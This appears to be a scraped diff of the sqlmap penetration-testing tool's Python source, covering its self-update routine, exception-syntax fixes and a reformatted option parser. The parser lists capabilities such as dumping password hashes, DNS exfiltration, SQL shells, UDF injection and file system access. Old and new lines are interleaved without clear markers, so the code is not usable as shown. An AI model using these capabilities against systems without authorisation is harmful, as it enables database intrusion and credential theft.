errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
|
warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
|
||||||
logger.error(errMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
|
||||||
|
if readInput(message, default='N', boolean=True):
|
||||||
|
directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)
|
||||||
|
|
||||||
|
try:
|
||||||
|
open(os.path.join(directory, "sqlmap.py"), "w+b")
|
||||||
|
except Exception, ex:
|
||||||
|
errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
|
||||||
|
logger.error(errMsg)
|
||||||
|
else:
|
||||||
|
for wildcard in ('*', ".*"):
|
||||||
|
for _ in glob.glob(os.path.join(directory, wildcard)):
|
||||||
|
try:
|
||||||
|
if os.path.isdir(_):
|
||||||
|
shutil.rmtree(_)
|
||||||
|
else:
|
||||||
|
os.remove(_)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if glob.glob(os.path.join(directory, '*')):
|
||||||
|
errMsg = "unable to clear the content of directory '%s'" % directory
|
||||||
|
logger.error(errMsg)
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
archive = urllib.urlretrieve(ZIPBALL_PAGE)[0]
|
||||||
|
|
||||||
|
with zipfile.ZipFile(archive) as f:
|
||||||
|
for info in f.infolist():
|
||||||
|
info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename)
|
||||||
|
if info.filename:
|
||||||
|
f.extract(info, directory)
|
||||||
|
|
||||||
|
filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
|
||||||
|
if os.path.isfile(filepath):
|
||||||
|
with open(filepath, "rb") as f:
|
||||||
|
version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1)
|
||||||
|
logger.info("updated to the latest version '%s#dev'" % version)
|
||||||
|
success = True
|
||||||
|
except Exception, ex:
|
||||||
|
logger.error("update could not be completed ('%s')" % getSafeExString(ex))
|
||||||
|
else:
|
||||||
|
if not success:
|
||||||
|
logger.error("update could not be completed")
|
||||||
else:
|
else:
|
||||||
infoMsg = "updating sqlmap to the latest development revision from the "
|
infoMsg = "updating sqlmap to the latest development revision from the "
|
||||||
infoMsg += "GitHub repository"
|
infoMsg += "GitHub repository"
|
||||||
@@ -42,7 +94,7 @@ def update():
|
|||||||
dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
|
dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(locale.getpreferredencoding())) # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/
|
process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
|
||||||
pollProcess(process, True)
|
pollProcess(process, True)
|
||||||
stdout, stderr = process.communicate()
|
stdout, stderr = process.communicate()
|
||||||
success = not process.returncode
|
success = not process.returncode
|
||||||
@@ -55,7 +107,7 @@ def update():
|
|||||||
else:
|
else:
|
||||||
if "Not a git repository" in stderr:
|
if "Not a git repository" in stderr:
|
||||||
errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
|
errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
|
||||||
errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
|
errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
else:
|
else:
|
||||||
logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())
|
logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())
|
||||||
@@ -68,7 +120,7 @@ def update():
|
|||||||
infoMsg += "download the latest snapshot from "
|
infoMsg += "download the latest snapshot from "
|
||||||
infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
|
infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
|
||||||
else:
|
else:
|
||||||
infoMsg = "for Linux platform it's required "
|
infoMsg = "for Linux platform it's recommended "
|
||||||
infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
|
infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
|
||||||
|
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|||||||
@@ -47,7 +47,7 @@ class Wordlist(object):
|
|||||||
errMsg = "something appears to be wrong with "
|
errMsg = "something appears to be wrong with "
|
||||||
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
|
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
|
||||||
errMsg += "sure that you haven't made any changes to it"
|
errMsg += "sure that you haven't made any changes to it"
|
||||||
raise SqlmapInstallationException, errMsg
|
raise SqlmapInstallationException(errMsg)
|
||||||
if len(_.namelist()) == 0:
|
if len(_.namelist()) == 0:
|
||||||
errMsg = "no file(s) inside '%s'" % self.current
|
errMsg = "no file(s) inside '%s'" % self.current
|
||||||
raise SqlmapDataException(errMsg)
|
raise SqlmapDataException(errMsg)
|
||||||
@@ -73,7 +73,7 @@ class Wordlist(object):
|
|||||||
errMsg = "something appears to be wrong with "
|
errMsg = "something appears to be wrong with "
|
||||||
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
|
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
|
||||||
errMsg += "sure that you haven't made any changes to it"
|
errMsg += "sure that you haven't made any changes to it"
|
||||||
raise SqlmapInstallationException, errMsg
|
raise SqlmapInstallationException(errMsg)
|
||||||
except StopIteration:
|
except StopIteration:
|
||||||
self.adjust()
|
self.adjust()
|
||||||
retVal = self.iter.next().rstrip()
|
retVal = self.iter.next().rstrip()
|
||||||
|
|||||||
+158
-268
@@ -50,9 +50,7 @@ def cmdLineParser(argv=None):
|
|||||||
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
|
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
|
||||||
_ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)
|
_ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)
|
||||||
|
|
||||||
usage = "%s%s [options]" % ("python " if not IS_WIN else "", \
|
usage = "%s%s [options]" % ("python " if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _)
|
||||||
"\"%s\"" % _ if " " in _ else _)
|
|
||||||
|
|
||||||
parser = OptionParser(usage=usage)
|
parser = OptionParser(usage=usage)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
@@ -115,15 +113,13 @@ def cmdLineParser(argv=None):
|
|||||||
request.add_option("--load-cookies", dest="loadCookies",
|
request.add_option("--load-cookies", dest="loadCookies",
|
||||||
help="File containing cookies in Netscape/wget format")
|
help="File containing cookies in Netscape/wget format")
|
||||||
|
|
||||||
request.add_option("--drop-set-cookie", dest="dropSetCookie",
|
request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Ignore Set-Cookie header from response")
|
help="Ignore Set-Cookie header from response")
|
||||||
|
|
||||||
request.add_option("--user-agent", dest="agent",
|
request.add_option("--user-agent", dest="agent",
|
||||||
help="HTTP User-Agent header value")
|
help="HTTP User-Agent header value")
|
||||||
|
|
||||||
request.add_option("--random-agent", dest="randomAgent",
|
request.add_option("--random-agent", dest="randomAgent", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Use randomly selected HTTP User-Agent header value")
|
help="Use randomly selected HTTP User-Agent header value")
|
||||||
|
|
||||||
request.add_option("--host", dest="host",
|
request.add_option("--host", dest="host",
|
||||||
@@ -139,62 +135,55 @@ def cmdLineParser(argv=None):
|
|||||||
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
|
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
|
||||||
|
|
||||||
request.add_option("--auth-type", dest="authType",
|
request.add_option("--auth-type", dest="authType",
|
||||||
help="HTTP authentication type "
|
help="HTTP authentication type (Basic, Digest, NTLM or PKI)")
|
||||||
"(Basic, Digest, NTLM or PKI)")
|
|
||||||
|
|
||||||
request.add_option("--auth-cred", dest="authCred",
|
request.add_option("--auth-cred", dest="authCred",
|
||||||
help="HTTP authentication credentials "
|
help="HTTP authentication credentials (name:password)")
|
||||||
"(name:password)")
|
|
||||||
|
|
||||||
request.add_option("--auth-file", dest="authFile",
|
request.add_option("--auth-file", dest="authFile",
|
||||||
help="HTTP authentication PEM cert/private key file")
|
help="HTTP authentication PEM cert/private key file")
|
||||||
|
|
||||||
request.add_option("--ignore-code", dest="ignoreCode", type="int",
|
request.add_option("--ignore-code", dest="ignoreCode", type="int",
|
||||||
help="Ignore HTTP error code (e.g. 401)")
|
help="Ignore HTTP error code (e.g. 401)")
|
||||||
|
|
||||||
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
|
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
|
||||||
help="Ignore system default proxy settings")
|
help="Ignore system default proxy settings")
|
||||||
|
|
||||||
request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true",
|
request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true",
|
||||||
help="Ignore redirection attempts")
|
help="Ignore redirection attempts")
|
||||||
|
|
||||||
request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true",
|
request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true",
|
||||||
help="Ignore connection timeouts")
|
help="Ignore connection timeouts")
|
||||||
|
|
||||||
request.add_option("--proxy", dest="proxy",
|
request.add_option("--proxy", dest="proxy",
|
||||||
help="Use a proxy to connect to the target URL")
|
help="Use a proxy to connect to the target URL")
|
||||||
|
|
||||||
request.add_option("--proxy-cred", dest="proxyCred",
|
request.add_option("--proxy-cred", dest="proxyCred",
|
||||||
help="Proxy authentication credentials "
|
help="Proxy authentication credentials (name:password)")
|
||||||
"(name:password)")
|
|
||||||
|
|
||||||
request.add_option("--proxy-file", dest="proxyFile",
|
request.add_option("--proxy-file", dest="proxyFile",
|
||||||
help="Load proxy list from a file")
|
help="Load proxy list from a file")
|
||||||
|
|
||||||
request.add_option("--tor", dest="tor",
|
request.add_option("--tor", dest="tor", action="store_true",
|
||||||
action="store_true",
|
help="Use Tor anonymity network")
|
||||||
help="Use Tor anonymity network")
|
|
||||||
|
|
||||||
request.add_option("--tor-port", dest="torPort",
|
request.add_option("--tor-port", dest="torPort",
|
||||||
help="Set Tor proxy port other than default")
|
help="Set Tor proxy port other than default")
|
||||||
|
|
||||||
request.add_option("--tor-type", dest="torType",
|
request.add_option("--tor-type", dest="torType",
|
||||||
help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
|
help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
|
||||||
|
|
||||||
request.add_option("--check-tor", dest="checkTor",
|
request.add_option("--check-tor", dest="checkTor", action="store_true",
|
||||||
action="store_true",
|
help="Check to see if Tor is used properly")
|
||||||
help="Check to see if Tor is used properly")
|
|
||||||
|
|
||||||
request.add_option("--delay", dest="delay", type="float",
|
request.add_option("--delay", dest="delay", type="float",
|
||||||
help="Delay in seconds between each HTTP request")
|
help="Delay in seconds between each HTTP request")
|
||||||
|
|
||||||
request.add_option("--timeout", dest="timeout", type="float",
|
request.add_option("--timeout", dest="timeout", type="float",
|
||||||
help="Seconds to wait before timeout connection "
|
help="Seconds to wait before timeout connection (default %d)" % defaults.timeout)
|
||||||
"(default %d)" % defaults.timeout)
|
|
||||||
|
|
||||||
request.add_option("--retries", dest="retries", type="int",
|
request.add_option("--retries", dest="retries", type="int",
|
||||||
help="Retries when the connection timeouts "
|
help="Retries when the connection timeouts (default %d)" % defaults.retries)
|
||||||
"(default %d)" % defaults.retries)
|
|
||||||
|
|
||||||
request.add_option("--randomize", dest="rParam",
|
request.add_option("--randomize", dest="rParam",
|
||||||
help="Randomly change value for given parameter(s)")
|
help="Randomly change value for given parameter(s)")
|
||||||
@@ -211,8 +200,7 @@ def cmdLineParser(argv=None):
|
|||||||
request.add_option("--safe-freq", dest="safeFreq", type="int",
|
request.add_option("--safe-freq", dest="safeFreq", type="int",
|
||||||
help="Test requests between two visits to a given safe URL")
|
help="Test requests between two visits to a given safe URL")
|
||||||
|
|
||||||
request.add_option("--skip-urlencode", dest="skipUrlEncode",
|
request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Skip URL encoding of payload data")
|
help="Skip URL encoding of payload data")
|
||||||
|
|
||||||
request.add_option("--csrf-token", dest="csrfToken",
|
request.add_option("--csrf-token", dest="csrfToken",
|
||||||
@@ -221,44 +209,36 @@ def cmdLineParser(argv=None):
|
|||||||
request.add_option("--csrf-url", dest="csrfUrl",
|
request.add_option("--csrf-url", dest="csrfUrl",
|
||||||
help="URL address to visit to extract anti-CSRF token")
|
help="URL address to visit to extract anti-CSRF token")
|
||||||
|
|
||||||
request.add_option("--force-ssl", dest="forceSSL",
|
request.add_option("--force-ssl", dest="forceSSL", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Force usage of SSL/HTTPS")
|
help="Force usage of SSL/HTTPS")
|
||||||
|
|
||||||
request.add_option("--hpp", dest="hpp",
|
request.add_option("--hpp", dest="hpp", action="store_true",
|
||||||
action="store_true",
|
help="Use HTTP parameter pollution method")
|
||||||
help="Use HTTP parameter pollution method")
|
|
||||||
|
|
||||||
request.add_option("--eval", dest="evalCode",
|
request.add_option("--eval", dest="evalCode",
|
||||||
help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")")
|
help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")")
|
||||||
|
|
||||||
# Optimization options
|
# Optimization options
|
||||||
optimization = OptionGroup(parser, "Optimization", "These "
|
optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap")
|
||||||
"options can be used to optimize the "
|
|
||||||
"performance of sqlmap")
|
|
||||||
|
|
||||||
optimization.add_option("-o", dest="optimize",
|
optimization.add_option("-o", dest="optimize", action="store_true",
|
||||||
action="store_true",
|
help="Turn on all optimization switches")
|
||||||
help="Turn on all optimization switches")
|
|
||||||
|
|
||||||
optimization.add_option("--predict-output", dest="predictOutput", action="store_true",
|
optimization.add_option("--predict-output", dest="predictOutput", action="store_true",
|
||||||
help="Predict common queries output")
|
help="Predict common queries output")
|
||||||
|
|
||||||
optimization.add_option("--keep-alive", dest="keepAlive", action="store_true",
|
optimization.add_option("--keep-alive", dest="keepAlive", action="store_true",
|
||||||
help="Use persistent HTTP(s) connections")
|
help="Use persistent HTTP(s) connections")
|
||||||
|
|
||||||
optimization.add_option("--null-connection", dest="nullConnection", action="store_true",
|
optimization.add_option("--null-connection", dest="nullConnection", action="store_true",
|
||||||
help="Retrieve page length without actual HTTP response body")
|
help="Retrieve page length without actual HTTP response body")
|
||||||
|
|
||||||
optimization.add_option("--threads", dest="threads", type="int",
|
optimization.add_option("--threads", dest="threads", type="int",
|
||||||
help="Max number of concurrent HTTP(s) "
|
help="Max number of concurrent HTTP(s) "
|
||||||
"requests (default %d)" % defaults.threads)
|
"requests (default %d)" % defaults.threads)
|
||||||
|
|
||||||
# Injection options
|
# Injection options
|
||||||
injection = OptionGroup(parser, "Injection", "These options can be "
|
injection = OptionGroup(parser, "Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts")
|
||||||
"used to specify which parameters to test "
|
|
||||||
"for, provide custom injection payloads and "
|
|
||||||
"optional tampering scripts")
|
|
||||||
|
|
||||||
injection.add_option("-p", dest="testParameter",
|
injection.add_option("-p", dest="testParameter",
|
||||||
help="Testable parameter(s)")
|
help="Testable parameter(s)")
|
||||||
@@ -270,36 +250,30 @@ def cmdLineParser(argv=None):
|
|||||||
help="Skip testing parameters that not appear to be dynamic")
|
help="Skip testing parameters that not appear to be dynamic")
|
||||||
|
|
||||||
injection.add_option("--param-exclude", dest="paramExclude",
|
injection.add_option("--param-exclude", dest="paramExclude",
|
||||||
help="Regexp to exclude parameters from testing (e.g. \"ses\")")
|
help="Regexp to exclude parameters from testing (e.g. \"ses\")")
|
||||||
|
|
||||||
injection.add_option("--dbms", dest="dbms",
|
injection.add_option("--dbms", dest="dbms",
|
||||||
help="Force back-end DBMS to this value")
|
help="Force back-end DBMS to this value")
|
||||||
|
|
||||||
injection.add_option("--dbms-cred", dest="dbmsCred",
|
injection.add_option("--dbms-cred", dest="dbmsCred",
|
||||||
help="DBMS authentication credentials (user:password)")
|
help="DBMS authentication credentials (user:password)")
|
||||||
|
|
||||||
injection.add_option("--os", dest="os",
|
injection.add_option("--os", dest="os",
|
||||||
help="Force back-end DBMS operating system "
|
help="Force back-end DBMS operating system to this value")
|
||||||
"to this value")
|
|
||||||
|
|
||||||
injection.add_option("--invalid-bignum", dest="invalidBignum",
|
injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Use big numbers for invalidating values")
|
help="Use big numbers for invalidating values")
|
||||||
|
|
||||||
injection.add_option("--invalid-logical", dest="invalidLogical",
|
injection.add_option("--invalid-logical", dest="invalidLogical", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Use logical operations for invalidating values")
|
help="Use logical operations for invalidating values")
|
||||||
|
|
||||||
injection.add_option("--invalid-string", dest="invalidString",
|
injection.add_option("--invalid-string", dest="invalidString", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Use random strings for invalidating values")
|
help="Use random strings for invalidating values")
|
||||||
|
|
||||||
injection.add_option("--no-cast", dest="noCast",
|
injection.add_option("--no-cast", dest="noCast", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Turn off payload casting mechanism")
|
help="Turn off payload casting mechanism")
|
||||||
|
|
||||||
injection.add_option("--no-escape", dest="noEscape",
|
injection.add_option("--no-escape", dest="noEscape", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Turn off string escaping mechanism")
|
help="Turn off string escaping mechanism")
|
||||||
|
|
||||||
injection.add_option("--prefix", dest="prefix",
|
injection.add_option("--prefix", dest="prefix",
|
||||||
@@ -312,54 +286,40 @@ def cmdLineParser(argv=None):
|
|||||||
help="Use given script(s) for tampering injection data")
|
help="Use given script(s) for tampering injection data")
|
||||||
|
|
||||||
# Detection options
|
# Detection options
|
||||||
detection = OptionGroup(parser, "Detection", "These options can be "
|
detection = OptionGroup(parser, "Detection", "These options can be used to customize the detection phase")
|
||||||
"used to customize the detection phase")
|
|
||||||
|
|
||||||
detection.add_option("--level", dest="level", type="int",
|
detection.add_option("--level", dest="level", type="int",
|
||||||
help="Level of tests to perform (1-5, "
|
help="Level of tests to perform (1-5, default %d)" % defaults.level)
|
||||||
"default %d)" % defaults.level)
|
|
||||||
|
|
||||||
detection.add_option("--risk", dest="risk", type="int",
|
detection.add_option("--risk", dest="risk", type="int",
|
||||||
help="Risk of tests to perform (1-3, "
|
help="Risk of tests to perform (1-3, default %d)" % defaults.risk)
|
||||||
"default %d)" % defaults.risk)
|
|
||||||
|
|
||||||
detection.add_option("--string", dest="string",
|
detection.add_option("--string", dest="string",
|
||||||
help="String to match when "
|
help="String to match when query is evaluated to True")
|
||||||
"query is evaluated to True")
|
|
||||||
|
|
||||||
detection.add_option("--not-string", dest="notString",
|
detection.add_option("--not-string", dest="notString",
|
||||||
help="String to match when "
|
help="String to match when query is evaluated to False")
|
||||||
"query is evaluated to False")
|
|
||||||
|
|
||||||
detection.add_option("--regexp", dest="regexp",
|
detection.add_option("--regexp", dest="regexp",
|
||||||
help="Regexp to match when "
|
help="Regexp to match when query is evaluated to True")
|
||||||
"query is evaluated to True")
|
|
||||||
|
|
||||||
detection.add_option("--code", dest="code", type="int",
|
detection.add_option("--code", dest="code", type="int",
|
||||||
help="HTTP code to match when "
|
help="HTTP code to match when query is evaluated to True")
|
||||||
"query is evaluated to True")
|
|
||||||
|
|
||||||
detection.add_option("--text-only", dest="textOnly",
|
detection.add_option("--text-only", dest="textOnly", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Compare pages based only on the textual content")
|
help="Compare pages based only on the textual content")
|
||||||
|
|
||||||
detection.add_option("--titles", dest="titles",
|
detection.add_option("--titles", dest="titles", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Compare pages based only on their titles")
|
help="Compare pages based only on their titles")
|
||||||
|
|
||||||
# Techniques options
|
# Techniques options
|
||||||
techniques = OptionGroup(parser, "Techniques", "These options can be "
|
techniques = OptionGroup(parser, "Techniques", "These options can be used to tweak testing of specific SQL injection techniques")
|
||||||
"used to tweak testing of specific SQL "
|
|
||||||
"injection techniques")
|
|
||||||
|
|
||||||
techniques.add_option("--technique", dest="tech",
|
techniques.add_option("--technique", dest="tech",
|
||||||
help="SQL injection techniques to use "
|
help="SQL injection techniques to use (default \"%s\")" % defaults.tech)
|
||||||
"(default \"%s\")" % defaults.tech)
|
|
||||||
|
|
||||||
techniques.add_option("--time-sec", dest="timeSec",
|
techniques.add_option("--time-sec", dest="timeSec", type="int",
|
||||||
type="int",
|
help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec)
|
||||||
help="Seconds to delay the DBMS response "
|
|
||||||
"(default %d)" % defaults.timeSec)
|
|
||||||
|
|
||||||
techniques.add_option("--union-cols", dest="uCols",
|
techniques.add_option("--union-cols", dest="uCols",
|
||||||
help="Range of columns to test for UNION query SQL injection")
|
help="Range of columns to test for UNION query SQL injection")
|
||||||
@@ -374,58 +334,45 @@ def cmdLineParser(argv=None):
|
|||||||
help="Domain name used for DNS exfiltration attack")
|
help="Domain name used for DNS exfiltration attack")
|
||||||
|
|
||||||
techniques.add_option("--second-order", dest="secondOrder",
|
techniques.add_option("--second-order", dest="secondOrder",
|
||||||
help="Resulting page URL searched for second-order "
|
help="Resulting page URL searched for second-order response")
|
||||||
"response")
|
|
||||||
|
|
||||||
# Fingerprint options
|
# Fingerprint options
|
||||||
fingerprint = OptionGroup(parser, "Fingerprint")
|
fingerprint = OptionGroup(parser, "Fingerprint")
|
||||||
|
|
||||||
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
|
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Perform an extensive DBMS version fingerprint")
|
help="Perform an extensive DBMS version fingerprint")
|
||||||
|
|
||||||
# Enumeration options
|
# Enumeration options
|
||||||
enumeration = OptionGroup(parser, "Enumeration", "These options can "
|
enumeration = OptionGroup(parser, "Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements")
|
||||||
"be used to enumerate the back-end database "
|
|
||||||
"management system information, structure "
|
|
||||||
"and data contained in the tables. Moreover "
|
|
||||||
"you can run your own SQL statements")
|
|
||||||
|
|
||||||
enumeration.add_option("-a", "--all", dest="getAll",
|
enumeration.add_option("-a", "--all", dest="getAll", action="store_true",
|
||||||
action="store_true", help="Retrieve everything")
|
help="Retrieve everything")
|
||||||
|
|
||||||
enumeration.add_option("-b", "--banner", dest="getBanner",
|
enumeration.add_option("-b", "--banner", dest="getBanner", action="store_true",
|
||||||
action="store_true", help="Retrieve DBMS banner")
|
help="Retrieve DBMS banner")
|
||||||
|
|
||||||
enumeration.add_option("--current-user", dest="getCurrentUser",
|
enumeration.add_option("--current-user", dest="getCurrentUser", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Retrieve DBMS current user")
|
help="Retrieve DBMS current user")
|
||||||
|
|
||||||
enumeration.add_option("--current-db", dest="getCurrentDb",
|
enumeration.add_option("--current-db", dest="getCurrentDb", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Retrieve DBMS current database")
|
help="Retrieve DBMS current database")
|
||||||
|
|
||||||
enumeration.add_option("--hostname", dest="getHostname",
|
enumeration.add_option("--hostname", dest="getHostname", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Retrieve DBMS server hostname")
|
help="Retrieve DBMS server hostname")
|
||||||
|
|
||||||
enumeration.add_option("--is-dba", dest="isDba",
|
enumeration.add_option("--is-dba", dest="isDba", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Detect if the DBMS current user is DBA")
|
help="Detect if the DBMS current user is DBA")
|
||||||
|
|
||||||
enumeration.add_option("--users", dest="getUsers", action="store_true",
|
enumeration.add_option("--users", dest="getUsers", action="store_true",
|
||||||
help="Enumerate DBMS users")
|
help="Enumerate DBMS users")
|
||||||
|
|
||||||
enumeration.add_option("--passwords", dest="getPasswordHashes",
|
enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Enumerate DBMS users password hashes")
|
help="Enumerate DBMS users password hashes")
|
||||||
|
|
||||||
enumeration.add_option("--privileges", dest="getPrivileges",
|
enumeration.add_option("--privileges", dest="getPrivileges", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Enumerate DBMS users privileges")
|
help="Enumerate DBMS users privileges")
|
||||||
|
|
||||||
enumeration.add_option("--roles", dest="getRoles",
|
enumeration.add_option("--roles", dest="getRoles", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Enumerate DBMS users roles")
|
help="Enumerate DBMS users roles")
|
||||||
|
|
||||||
enumeration.add_option("--dbs", dest="getDbs", action="store_true",
|
enumeration.add_option("--dbs", dest="getDbs", action="store_true",
|
||||||
@@ -464,16 +411,14 @@ def cmdLineParser(argv=None):
|
|||||||
enumeration.add_option("-C", dest="col",
|
enumeration.add_option("-C", dest="col",
|
||||||
help="DBMS database table column(s) to enumerate")
|
help="DBMS database table column(s) to enumerate")
|
||||||
|
|
||||||
enumeration.add_option("-X", dest="excludeCol",
|
enumeration.add_option("-X", dest="exclude",
|
||||||
help="DBMS database table column(s) to not enumerate")
|
help="DBMS database identifier(s) to not enumerate")
|
||||||
|
|
||||||
enumeration.add_option("-U", dest="user",
|
enumeration.add_option("-U", dest="user",
|
||||||
help="DBMS user to enumerate")
|
help="DBMS user to enumerate")
|
||||||
|
|
||||||
enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs",
|
enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", action="store_true",
|
||||||
action="store_true",
|
help="Exclude DBMS system databases when enumerating tables")
|
||||||
help="Exclude DBMS system databases when "
|
|
||||||
"enumerating tables")
|
|
||||||
|
|
||||||
enumeration.add_option("--pivot-column", dest="pivotColumn",
|
enumeration.add_option("--pivot-column", dest="pivotColumn",
|
||||||
help="Pivot column name")
|
help="Pivot column name")
|
||||||
@@ -496,28 +441,23 @@ def cmdLineParser(argv=None):
|
|||||||
enumeration.add_option("--sql-query", dest="query",
|
enumeration.add_option("--sql-query", dest="query",
|
||||||
help="SQL statement to be executed")
|
help="SQL statement to be executed")
|
||||||
|
|
||||||
enumeration.add_option("--sql-shell", dest="sqlShell",
|
enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Prompt for an interactive SQL shell")
|
help="Prompt for an interactive SQL shell")
|
||||||
|
|
||||||
enumeration.add_option("--sql-file", dest="sqlFile",
|
enumeration.add_option("--sql-file", dest="sqlFile",
|
||||||
help="Execute SQL statements from given file(s)")
|
help="Execute SQL statements from given file(s)")
|
||||||
|
|
||||||
# Brute force options
|
# Brute force options
|
||||||
brute = OptionGroup(parser, "Brute force", "These "
|
brute = OptionGroup(parser, "Brute force", "These options can be used to run brute force checks")
|
||||||
"options can be used to run brute force "
|
|
||||||
"checks")
|
|
||||||
|
|
||||||
brute.add_option("--common-tables", dest="commonTables", action="store_true",
|
brute.add_option("--common-tables", dest="commonTables", action="store_true",
|
||||||
help="Check existence of common tables")
|
help="Check existence of common tables")
|
||||||
|
|
||||||
brute.add_option("--common-columns", dest="commonColumns", action="store_true",
|
brute.add_option("--common-columns", dest="commonColumns", action="store_true",
|
||||||
help="Check existence of common columns")
|
help="Check existence of common columns")
|
||||||
|
|
||||||
# User-defined function options
|
# User-defined function options
|
||||||
udf = OptionGroup(parser, "User-defined function injection", "These "
|
udf = OptionGroup(parser, "User-defined function injection", "These options can be used to create custom user-defined functions")
|
||||||
"options can be used to create custom user-defined "
|
|
||||||
"functions")
|
|
||||||
|
|
||||||
udf.add_option("--udf-inject", dest="udfInject", action="store_true",
|
udf.add_option("--udf-inject", dest="udfInject", action="store_true",
|
||||||
help="Inject custom user-defined functions")
|
help="Inject custom user-defined functions")
|
||||||
@@ -526,167 +466,131 @@ def cmdLineParser(argv=None):
|
|||||||
help="Local path of the shared library")
|
help="Local path of the shared library")
|
||||||
|
|
||||||
# File system options
|
# File system options
|
||||||
filesystem = OptionGroup(parser, "File system access", "These options "
|
filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system")
|
||||||
"can be used to access the back-end database "
|
|
||||||
"management system underlying file system")
|
|
||||||
|
|
||||||
